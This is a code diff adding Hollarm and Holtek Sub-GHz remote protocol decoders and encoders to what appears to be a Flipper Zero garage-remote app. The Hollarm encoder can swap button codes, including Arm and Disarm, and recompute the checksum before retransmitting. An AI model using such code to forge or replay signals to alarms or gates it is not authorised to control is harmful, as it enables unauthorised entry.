+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x2;
+            break;
+        case 0x2:
+            btn = 0x1;
+            break;
+        case 0x4:
+            btn = 0x1;
+            break;
+        case 0x8:
+            btn = 0x1;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x4;
+            break;
+        case 0x2:
+            btn = 0x4;
+            break;
+        case 0x4:
+            btn = 0x2;
+            break;
+        case 0x8:
+            btn = 0x4;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x8;
+            break;
+        case 0x2:
+            btn = 0x8;
+            break;
+        case 0x4:
+            btn = 0x8;
+            break;
+        case 0x8:
+            btn = 0x2;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderHollarm instance
+ */
+static void subghz_protocol_encoder_hollarm_get_upload(SubGhzProtocolEncoderHollarm* instance) {
+    furi_assert(instance);
+
+    // Generate new key using custom or default button
+    instance->generic.btn = subghz_protocol_hollarm_get_btn_code();
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&instance->generic.btn))
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", instance->generic.btn);
+
+    uint64_t new_key = (instance->generic.data >> 12) << 12 | (instance->generic.btn << 8);
+
+    uint8_t bytesum = ((new_key >> 32) & 0xFF) + ((new_key >> 24) & 0xFF) +
+                      ((new_key >> 16) & 0xFF) + ((new_key >> 8) & 0xFF);
+
+    instance->generic.data = (new_key | bytesum);
+
+    size_t index = 0;
+
+    // Send key and GAP between parcels
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        // Read and prepare levels with 2 bit (was saved for better parsing) to the left offset to fit with the original remote transmission
+        if(bit_read((instance->generic.data << 2), i - 1)) {
+            // Send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_hollarm_const.te_short);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_hollarm_const.te_short * 12);
+            } else {
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_hollarm_const.te_short * 8);
+            }
+        } else {
+            // Send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_hollarm_const.te_short);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_hollarm_const.te_short * 12);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_hollarm_const.te_long);
+            }
+        }
+    }
+
+    instance->encoder.size_upload = index;
+    return;
+}
+
+/** 
+ * Analysis of received data and parsing serial number
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_hollarm_remote_controller(SubGhzBlockGeneric* instance) {
+    instance->btn = (instance->data >> 8) & 0xF;
+    instance->serial = (instance->data & 0xFFFFFFF0000) >> 16;
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        // subghz_custom_btn_set_original(instance->btn);
+    }
+    // subghz_custom_btn_set_max(3);
+
+    // Hollarm Decoder
+    // 09.2024 - @xMasterX (MMX)
+    // Thanks @Skorpionm for support!
+
+    // F0B93422FF = FF 8bit Sum
+    // F0B93421FE = FE 8bit Sum
+    // F0B9342401 = 01 8bit Sum
+    // F0B9342805 = 05 8bit Sum
+
+    // Serial (moved 2bit to right)    | Btn | 8b previous 4 bytes sum
+    // 00001111000010111001001101000010 0010  11111111 btn = (0x2)
+    // 00001111000010111001001101000010 0001  11111110 btn = (0x1)
+    // 00001111000010111001001101000010 0100  00000001 btn = (0x4)
+    // 00001111000010111001001101000010 1000  00000101 btn = (0x8)
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_hollarm_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderHollarm* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_hollarm_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_hollarm_remote_controller(&instance->generic);
+        subghz_protocol_encoder_hollarm_get_upload(instance);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> (i * 8)) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Key");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_hollarm_stop(void* context) {
+    SubGhzProtocolEncoderHollarm* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_hollarm_yield(void* context) {
+    SubGhzProtocolEncoderHollarm* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_hollarm_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderHollarm* instance = malloc(sizeof(SubGhzProtocolDecoderHollarm));
+    instance->base.protocol = &subghz_protocol_hollarm;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_hollarm_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHollarm* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_hollarm_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHollarm* instance = context;
+    instance->decoder.parser_step = HollarmDecoderStepReset;
+}
+
+void subghz_protocol_decoder_hollarm_feed(void* context, bool level, volatile uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHollarm* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case HollarmDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_hollarm_const.te_short * 12) <
+                        subghz_protocol_hollarm_const.te_delta * 2)) {
+            //Found GAP between parcels
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = HollarmDecoderStepSaveDuration;
+        }
+        break;
+    case HollarmDecoderStepSaveDuration:
+        // Save HIGH level timing for next step
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = HollarmDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = HollarmDecoderStepReset;
+        }
+        break;
+    case HollarmDecoderStepCheckDuration:
+        if(!level) {
+            // Bit 0 is short 200us HIGH + long 1000us LOW timing
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_hollarm_const.te_short) <
+                subghz_protocol_hollarm_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_hollarm_const.te_long) <
+                subghz_protocol_hollarm_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = HollarmDecoderStepSaveDuration;
+                // Bit 1 is short 200us HIGH + short x8 = 1600us LOW timing
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_hollarm_const.te_short) <
+                 subghz_protocol_hollarm_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_hollarm_const.te_short * 8) <
+                 subghz_protocol_hollarm_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = HollarmDecoderStepSaveDuration;
+            } else if(
+                // End of the key
+                DURATION_DIFF(duration, subghz_protocol_hollarm_const.te_short * 12) <
+                subghz_protocol_hollarm_const.te_delta) {
+                // When next GAP is found add bit 0 and do check for read finish
+                // (we have 42 high level pulses, last or first one may be a stop/start bit but we will parse it as zero)
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+
+                // If got 42 bits key reading is finished
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_hollarm_const.min_count_bit_for_found) {
+                    // Saving with 2bit to the right offset for proper parsing
+                    instance->generic.data = (instance->decoder.decode_data >> 2);
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    uint8_t bytesum = ((instance->generic.data >> 32) & 0xFF) +
+                                      ((instance->generic.data >> 24) & 0xFF) +
+                                      ((instance->generic.data >> 16) & 0xFF) +
+                                      ((instance->generic.data >> 8) & 0xFF);
+
+                    if(bytesum != (instance->generic.data & 0xFF)) {
+                        // Check if the key is valid by verifying the sum
+                        instance->generic.data = 0;
+                        instance->generic.data_count_bit = 0;
+                        instance->decoder.decode_data = 0;
+                        instance->decoder.decode_count_bit = 0;
+                        instance->decoder.parser_step = HollarmDecoderStepReset;
+                        break;
+                    }
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->decoder.parser_step = HollarmDecoderStepReset;
+            } else {
+                instance->decoder.parser_step = HollarmDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = HollarmDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Get button name.
+ * @param btn Button number, 4 bit
+ */
+static const char* subghz_protocol_hollarm_get_button_name(uint8_t btn) {
+    const char* name_btn[16] = {
+        "Unknown",
+        "Disarm", // B (2)
+        "Arm", // A (1)
+        "0x3",
+        "Ringtone/Alarm", // C (3)
+        "0x5",
+        "0x6",
+        "0x7",
+        "Ring", // D (4)
+        "Settings mode",
+        "Exit settings",
+        "Vibro sens. setting",
+        "Not used\n(in settings)",
+        "Volume setting",
+        "0xE",
+        "0xF"};
+    return btn <= 0xf ? name_btn[btn] : name_btn[0];
+}
+
+uint8_t subghz_protocol_decoder_hollarm_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHollarm* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_hollarm_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHollarm* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_hollarm_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHollarm* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_hollarm_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_hollarm_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHollarm* instance = context;
+
+    // Parse serial
+    subghz_protocol_hollarm_remote_controller(&instance->generic);
+    // Get byte sum
+    uint8_t bytesum =
+        ((instance->generic.data >> 32) & 0xFF) + ((instance->generic.data >> 24) & 0xFF) +
+        ((instance->generic.data >> 16) & 0xFF) + ((instance->generic.data >> 8) & 0xFF);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key: 0x%02lX%08lX\r\n"
+        "Serial: 0x%06lX  Sum: %02X\r\n"
+        "Btn: 0x%01X - %s\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data >> 32),
+        (uint32_t)instance->generic.data,
+        instance->generic.serial,
+        bytesum,
+        instance->generic.btn,
+        subghz_protocol_hollarm_get_button_name(instance->generic.btn));
+}

applications/system/Garage Door Remote/protocols/hollarm.h

@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_HOLLARM_NAME "Hollarm"
+
+typedef struct SubGhzProtocolDecoderHollarm SubGhzProtocolDecoderHollarm;
+typedef struct SubGhzProtocolEncoderHollarm SubGhzProtocolEncoderHollarm;
+
+extern const SubGhzProtocolDecoder subghz_protocol_hollarm_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_hollarm_encoder;
+extern const SubGhzProtocol subghz_protocol_hollarm;
+
+/**
+ * Allocate SubGhzProtocolEncoderHollarm.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderHollarm* pointer to a SubGhzProtocolEncoderHollarm instance
+ */
+void* subghz_protocol_encoder_hollarm_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderHollarm.
+ * @param context Pointer to a SubGhzProtocolEncoderHollarm instance
+ */
+void subghz_protocol_encoder_hollarm_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderHollarm instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_hollarm_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderHollarm instance
+ */
+void subghz_protocol_encoder_hollarm_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderHollarm instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_hollarm_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderHollarm.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderHollarm* pointer to a SubGhzProtocolDecoderHollarm instance
+ */
+void* subghz_protocol_decoder_hollarm_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderHollarm.
+ * @param context Pointer to a SubGhzProtocolDecoderHollarm instance
+ */
+void subghz_protocol_decoder_hollarm_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderHollarm.
+ * @param context Pointer to a SubGhzProtocolDecoderHollarm instance
+ */
+void subghz_protocol_decoder_hollarm_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderHollarm instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_hollarm_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderHollarm instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_hollarm_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderHollarm.
+ * @param context Pointer to a SubGhzProtocolDecoderHollarm instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_hollarm_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderHollarm.
+ * @param context Pointer to a SubGhzProtocolDecoderHollarm instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_hollarm_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderHollarm instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_hollarm_get_string(void* context, FuriString* output);

applications/system/Garage Door Remote/protocols/holtek.c

@@ -0,0 +1,370 @@
+#include "holtek.h"
+
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+
+/*
+ * Help
+ * https://pdf1.alldatasheet.com/datasheet-pdf/view/82103/HOLTEK/HT640.html
+ * https://fccid.io/OJM-CMD-HHLR-XXXA
+ *
+ */
+
+#define TAG "SubGhzProtocolHoltek"
+
+#define HOLTEK_HEADER_MASK 0xF000000000
+#define HOLTEK_HEADER      0x5000000000
+
+static const SubGhzBlockConst subghz_protocol_holtek_const = {
+    .te_short = 430,
+    .te_long = 870,
+    .te_delta = 100,
+    .min_count_bit_for_found = 40,
+};
+
+struct SubGhzProtocolDecoderHoltek {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderHoltek {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    HoltekDecoderStepReset = 0,
+    HoltekDecoderStepFoundStartBit,
+    HoltekDecoderStepSaveDuration,
+    HoltekDecoderStepCheckDuration,
+} HoltekDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_holtek_decoder = {
+    .alloc = subghz_protocol_decoder_holtek_alloc,
+    .free = subghz_protocol_decoder_holtek_free,
+
+    .feed = subghz_protocol_decoder_holtek_feed,
+    .reset = subghz_protocol_decoder_holtek_reset,
+
+    .get_hash_data = subghz_protocol_decoder_holtek_get_hash_data,
+    .serialize = subghz_protocol_decoder_holtek_serialize,
+    .deserialize = subghz_protocol_decoder_holtek_deserialize,
+    .get_string = subghz_protocol_decoder_holtek_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_holtek_encoder = {
+    .alloc = subghz_protocol_encoder_holtek_alloc,
+    .free = subghz_protocol_encoder_holtek_free,
+
+    .deserialize = subghz_protocol_encoder_holtek_deserialize,
+    .stop = subghz_protocol_encoder_holtek_stop,
+    .yield = subghz_protocol_encoder_holtek_yield,
+};
+
+const SubGhzProtocol subghz_protocol_holtek = {
+    .name = SUBGHZ_PROTOCOL_HOLTEK_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_315 |
+            SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load |
+            SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_holtek_decoder,
+    .encoder = &subghz_protocol_holtek_encoder,
+};
+
+void* subghz_protocol_encoder_holtek_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderHoltek* instance = malloc(sizeof(SubGhzProtocolEncoderHoltek));
+
+    instance->base.protocol = &subghz_protocol_holtek;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 128;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_holtek_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderHoltek* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderHoltek instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_holtek_get_upload(SubGhzProtocolEncoderHoltek* instance) {
+    furi_assert(instance);
+
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    //Send header
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_holtek_const.te_short * 36);
+    //Send start bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_holtek_const.te_short);
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_holtek_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_holtek_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_holtek_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_holtek_const.te_long);
+        }
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_holtek_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderHoltek* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_holtek_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_holtek_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_holtek_stop(void* context) {
+    SubGhzProtocolEncoderHoltek* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_holtek_yield(void* context) {
+    SubGhzProtocolEncoderHoltek* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_holtek_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderHoltek* instance = malloc(sizeof(SubGhzProtocolDecoderHoltek));
+    instance->base.protocol = &subghz_protocol_holtek;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_holtek_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoltek* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_holtek_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoltek* instance = context;
+    instance->decoder.parser_step = HoltekDecoderStepReset;
+}
+
+void subghz_protocol_decoder_holtek_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoltek* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case HoltekDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_holtek_const.te_short * 36) <
+                        subghz_protocol_holtek_const.te_delta * 36)) {
+            //Found Preambula
+            instance->decoder.parser_step = HoltekDecoderStepFoundStartBit;
+        }
+        break;
+    case HoltekDecoderStepFoundStartBit:
+        if((level) && (DURATION_DIFF(duration, subghz_protocol_holtek_const.te_short) <
+                       subghz_protocol_holtek_const.te_delta)) {
+            //Found StartBit
+            instance->decoder.parser_step = HoltekDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = HoltekDecoderStepReset;
+        }
+        break;
+    case HoltekDecoderStepSaveDuration:
+        //save duration
+        if(!level) {
+            if(duration >= ((uint32_t)subghz_protocol_holtek_const.te_short * 10 +
+                            subghz_protocol_holtek_const.te_delta)) {
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_holtek_const.min_count_bit_for_found) {
+                    if((instance->decoder.decode_data & HOLTEK_HEADER_MASK) == HOLTEK_HEADER) {
+                        instance->generic.data = instance->decoder.decode_data;
+                        instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                        if(instance->base.callback)
+                            instance->base.callback(&instance->base, instance->base.context);
+                    }
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->decoder.parser_step = HoltekDecoderStepFoundStartBit;
+                break;
+            } else {
+                instance->decoder.te_last = duration;
+
+                instance->decoder.parser_step = HoltekDecoderStepCheckDuration;
+            }
+        } else {
+            instance->decoder.parser_step = HoltekDecoderStepReset;
+        }
+        break;
+    case HoltekDecoderStepCheckDuration:
+        if(level) {
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_holtek_const.te_short) <
+                subghz_protocol_holtek_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_holtek_const.te_long) <
+                subghz_protocol_holtek_const.te_delta * 2)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = HoltekDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_holtek_const.te_long) <
+                 subghz_protocol_holtek_const.te_delta * 2) &&
+                (DURATION_DIFF(duration, subghz_protocol_holtek_const.te_short) <
+                 subghz_protocol_holtek_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = HoltekDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = HoltekDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = HoltekDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_holtek_check_remote_controller(SubGhzBlockGeneric* instance) {
+    if((instance->data & HOLTEK_HEADER_MASK) == HOLTEK_HEADER) {
+        instance->serial =
+            subghz_protocol_blocks_reverse_key((instance->data >> 16) & 0xFFFFF, 20);
+        uint16_t btn = instance->data & 0xFFFF;
+        if((btn & 0xf) != 0xA) {
+            instance->btn = 0x1 << 4 | (btn & 0xF);
+        } else if(((btn >> 4) & 0xF) != 0xA) {
+            instance->btn = 0x2 << 4 | ((btn >> 4) & 0xF);
+        } else if(((btn >> 8) & 0xF) != 0xA) {
+            instance->btn = 0x3 << 4 | ((btn >> 8) & 0xF);
+        } else if(((btn >> 12) & 0xF) != 0xA) {
+            instance->btn = 0x4 << 4 | ((btn >> 12) & 0xF);
+        } else {
+            instance->btn = 0;
+        }
+    } else {
+        instance->serial = 0;
+        instance->btn = 0;
+        instance->cnt = 0;
+    }
+}
+
+uint8_t subghz_protocol_decoder_holtek_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoltek* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_holtek_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoltek* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_holtek_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoltek* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_holtek_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_holtek_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoltek* instance = context;
+    subghz_protocol_holtek_check_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:0x%lX%08lX\r\n"
+        "Sn:0x%05lX Btn:%X ",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)((instance->generic.data >> 32) & 0xFFFFFFFF),
+        (uint32_t)(instance->generic.data & 0xFFFFFFFF),
+        instance->generic.serial,
+        instance->generic.btn >> 4);
+
+    if((instance->generic.btn & 0xF) == 0xE) {
+        furi_string_cat_printf(output, "ON\r\n");
+    } else if((instance->generic.btn & 0xF) == 0xB) {
+        furi_string_cat_printf(output, "OFF\r\n");
+    }
+}